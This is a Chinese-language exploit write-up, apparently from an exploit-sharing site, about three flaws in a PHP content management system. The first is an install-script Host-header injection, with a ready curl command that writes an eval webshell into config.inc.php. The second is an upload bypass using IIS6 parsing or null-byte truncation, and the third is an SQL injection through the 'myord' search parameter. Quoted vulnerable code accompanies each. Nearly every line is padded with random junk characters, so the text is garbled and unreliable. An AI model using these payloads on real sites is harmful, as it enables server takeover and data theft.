注入:
* E( P* B, {+ w& Q) N
. X! u# K: t8 ^. N% p9 I% J之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码! Y; C2 K6 y% f- K1 F' C* o9 F
1 p4 R4 ~6 f6 |9 f0 l3 F% F& }8 h4 _鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件6 l3 n3 q" w+ W8 t- M5 K% y3 F# N
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
* U8 O& K: E1 V' F; |5 d5 d
, }1 ^( y" \8 q, o虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响9 L: ^ {0 ]& {4 U
& z T) o4 A! H, J
分析:$ x n2 \4 d, Y+ o$ G/ j1 a! k A H) [
% b# r2 F" ?; I; U4 @
+ x) s" G8 Z+ s5 m$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
1 T8 [# f$ R7 V, W1 \
( Z: v0 y! _! W* i1 G $filestr = fread(fopen($SysConfigFile, 'r'),30000);6 |2 k* }; N# ?$ t9 n
$filestr=str_replace(" ","",$filestr);
! {+ J0 Y' q v% Q% [ $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);& `; F/ Z+ n- y, f
$filestr=str_replace("DefaultDbName",$dbname,$filestr); s; E( Q; x1 B
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);. _7 b; E/ K! n# P, H/ {! K
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
: z$ o, B5 z; {3 M $filestr=str_replace("DefaultsLan","zh_cn",$filestr); r) N4 g2 v7 Q& x4 e
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
( V' R1 o( j) ^2 h1 C $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
y! d. r2 o% v) n9 U7 i' B1 M
' @+ y+ a& C' {- Z6 u8 l& ? fwrite(fopen($ConFile,"w"),$filestr,30000);: T& {$ Y! }' r9 ?
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^3 ]! U. t5 t: B: H/ k0 A4 [- M' t
5 m3 V0 `1 }6 B8 K0 z3 qpoc:
0 e; V3 T$ C. r$ q) v* L: y q
4 [6 `( x& A& R4 n) W d( C! K?
; F$ i0 B6 ~) ]# I# C( d1& p: D% t' I1 T0 `( s
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#") |7 `/ v5 o0 g5 y' j6 ~
shell地址: /config.inc.php
( x( e7 V* y. R. W0 h9 b跟之前的 phpcms一样 需要远程数据库. B( \( U. @! P8 u7 y) x; x
' R& [# [2 u8 ^——————————————————–
. c+ o4 m" F; D. W Y% p- R( k( i; L0 C上传漏洞(需要进后台):
3 D+ k( ?4 y* w$ g: p漏洞文件: /kedit/upload_cgi/upload.php' c n! E8 K2 K: ] |
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
$ I9 C" F! K' y2 F/ U6 u! Q . L5 z9 g" y% k- j, {, X5 k+ C
5 Z A- Z! M* y" }1 V9 y: }' i4 U! Z3 \<?php
; o2 v ]7 }* i2 ?. @9 K define("ROOTPATH", "../../");1 ]- F" R5 X& e3 l- Q& {1 C& v; q E
include(ROOTPATH."includes/admin.inc.php");$ U& O. e7 y( T% b
NeedAuth(0);+ M8 Z+ D- l# A$ X% G( p
' t4 u/ R7 ?$ k4 G- u $dt=date("Ymd",time());3 v8 {" n; M; _! @( m
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){ c5 D/ \) H7 p6 ^6 m! p/ f+ W
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);* j B4 y' J% v1 O8 t
}
8 P/ s( P2 c* r+ g! G 6 T, S3 B2 V" V$ W
//文件保存目录路径# B/ P: A) {2 s- D1 S
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
E2 B* G4 k$ B1 K; S7 w5 R t2 M echo $save_path;
3 S0 n7 A: \1 Y- o" m$ m* h //文件保存目录URL
, \0 G% [, o( @$ o, Q, g% ` $save_url = '../../'.$_POST['attachPath'].$dt.'/';: V9 i l/ H4 s; i; b7 |5 B& N
' v) O$ G; n8 i( p
//定义允许上传的文件扩展名
7 x% O8 a8 c' k $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
% N2 t5 q. c7 Y9 ^: n4 e8 N4 m$ l0 ` 3 a( l+ x) \% N* R: B6 r
//最大文件大小 s& o! h4 c* d( ?* [
$max_size = 1000000; X' a8 A: a3 i2 d7 Y+ o
( d/ a" {& s! M$ i. A //更改目录权限
: W6 U: M- ]( d @mkdir($save_path, 0777);9 \: R5 q, f% W" a! J7 L
8 g1 s4 h9 X8 ^1 B //文件的全部路径
) l" i3 z: Z; i $file_path = $save_path.$_POST['fileName']; //保存文件名" g2 A. F" G. z5 D* P1 O6 D
1 |4 ~& J& {' @ //文件URL4 M( [8 ?: @# E( h2 M* I3 m
$file_url = $save_url.$_POST['fileName'];
- O8 u- K- Q5 N( P//有上传文件时
1 C0 \& P9 X j& k& Q( C$ s2 { if (empty($_FILES) === false) {
7 t" \3 R4 p/ o, b
7 `$ K( f) b. I //原文件名$ Y% V O7 l0 @6 ]
$file_name = $_FILES['fileData']['name'];
3 g% \$ w( ~2 B" [ //服务器上临时文件名
4 i' l( E% k6 W t $tmp_name = $_FILES['fileData']['tmp_name'];
3 ^ a9 E& Z0 [ //文件大小' m! i! h4 u8 p! [% j2 V
$file_size = $_FILES['fileData']['size'];
7 {" v# n9 `! ^ //检查目录- i7 w& k: L1 [. r. R' Y7 ^: E
if (@is_dir($save_path) === false) {
4 o5 O" t2 T1 ~4 C alert("上传目录不存在。");
4 ?$ g4 q7 s7 w3 [" j6 G' V, U. g }+ \0 H; o) D* I% c3 h1 O- e7 F, F
//检查目录写权限
6 V; m8 I: c, C' Q' L# g+ _5 E if (@is_writable($save_path) === false) {8 z6 i+ p/ \& m; L5 X0 R
alert("上传目录没有写权限。");
' _, L( P$ C }/ c* {, n: ^1 W/ L" i }2 L. R6 r6 q @( T. S$ \
//检查是否已上传
1 t, g+ ?+ [ k V% U if (@is_uploaded_file($tmp_name) === false) {' w, n5 p9 E# g( `& f0 V
alert("临时文件可能不是上传文件。");
9 D b- U9 C8 V) w1 [ } F( Z8 ?( D1 n$ j2 `
//检查文件大小
/ c' ~4 [0 o, S if ($file_size > $max_size) {6 B% ~0 \ l) \0 n" B# m' ~
alert("上传文件大小超过限制。");% r" M. b. T: U
}! Y4 E$ q' r; N2 j6 e- V
//获得文件扩展名
/ V) ~1 n Q8 _ l9 } ` $temp_arr = explode(".", $_POST['fileName']);) r. h* R+ L' E! ~8 V
$file_ext = array_pop($temp_arr);
/ W+ O) z) s( q. f $file_ext = trim($file_ext);
3 ~4 z8 p& n0 R/ ^9 |- A $file_ext = strtolower($file_ext);
6 W8 I3 ?7 I9 d* V( m8 e. { , v& I! b' P& F9 j& h
//检查扩展名 7 r0 i8 A2 `2 M8 x! C
if (in_array($file_ext, $ext_arr) === false) {
I) K* ?- v% X v0 K _' H% c alert("上传文件扩展名是不允许的扩展名。");
; m3 f8 h& G4 [' U }
+ {% y" d" A& F( P7 @% ]
. x/ I! b" u/ @2 B' a0 L" y //移动文件 % L- b9 e( Y% {: F& _# @
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^$ @/ j5 L" Z$ n- r
if (move_uploaded_file($tmp_name, $file_path) === false) { c1 x' ~# v7 f1 p, R
alert("上传文件失败。");
4 h' Y$ ]' k7 D- }/ o }
O7 r: ?. P$ I+ h+ x/ O4 Y' p4 a) m
# m4 ~, d0 L7 S! P0 @ @chmod($file_path,0666);
% A; z' Y5 O5 E- g# f* q8 J- _
; W! x6 H5 m4 _& `" j ?>1 I p" \* L7 T# r& s* b& x& k
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
! P. k" O2 q9 Z2 g
$ W5 o' o- A4 @, s& A: i$ Gapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
3 A4 }5 o5 ? ~: | z0 j c 2 F" O# l5 N O: M( r/ x7 M% g
——————————————————) ~* l# {8 O! J, i6 z- c* j4 E8 N
注入漏洞:
" o1 m+ a; d. G+ W) T1 o: a" ]& c6 q漏洞文件:search/module/search.php
$ A; Q: R' ^+ e. J0 g, R/search/index.php?key=1&myord=1 [sqlinjection], W X1 m5 r& J: [! i, y
( Z K# m3 K3 F8 {8 K m6 U6 t0 P& z$ d
<?php$ k6 n4 S" C/ ^
// ... 省略 n 行...- a4 M- W3 c/ w9 f% N- R
//第18行: E& q+ H. f) x0 {
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
D& @1 b& @: _' e' o $page=htmlspecialchars($_GET["page"]);
t3 X8 D% [ k, m3 `" u $myord=htmlspecialchars($_GET["myord"]);; m/ A {4 w: T+ p! M- z+ C! B
+ b* T9 E! Q: @2 L5 P" L
// ... 省略 n 行..." m* X7 @. ?- \* R
$key,$myord 两个参数带入查询+ T' ]' Z/ U+ g8 K) l9 o) |( e4 k0 L- g
//第47行 $key:( {$ a- {+ \! Z3 g9 }
0 G1 F' R- \# h3 @9 W $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..8 ?4 M7 @+ m- X) V. [
3 l1 p! U# L4 V& W- j; s' w$ R
//第197行 $myord
: {9 A2 k5 p% O $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入7 L6 G: N. n% G& M1 S
1 n' @ q h' \! j7 R
?>
' k6 p8 U0 q; @9 u; g |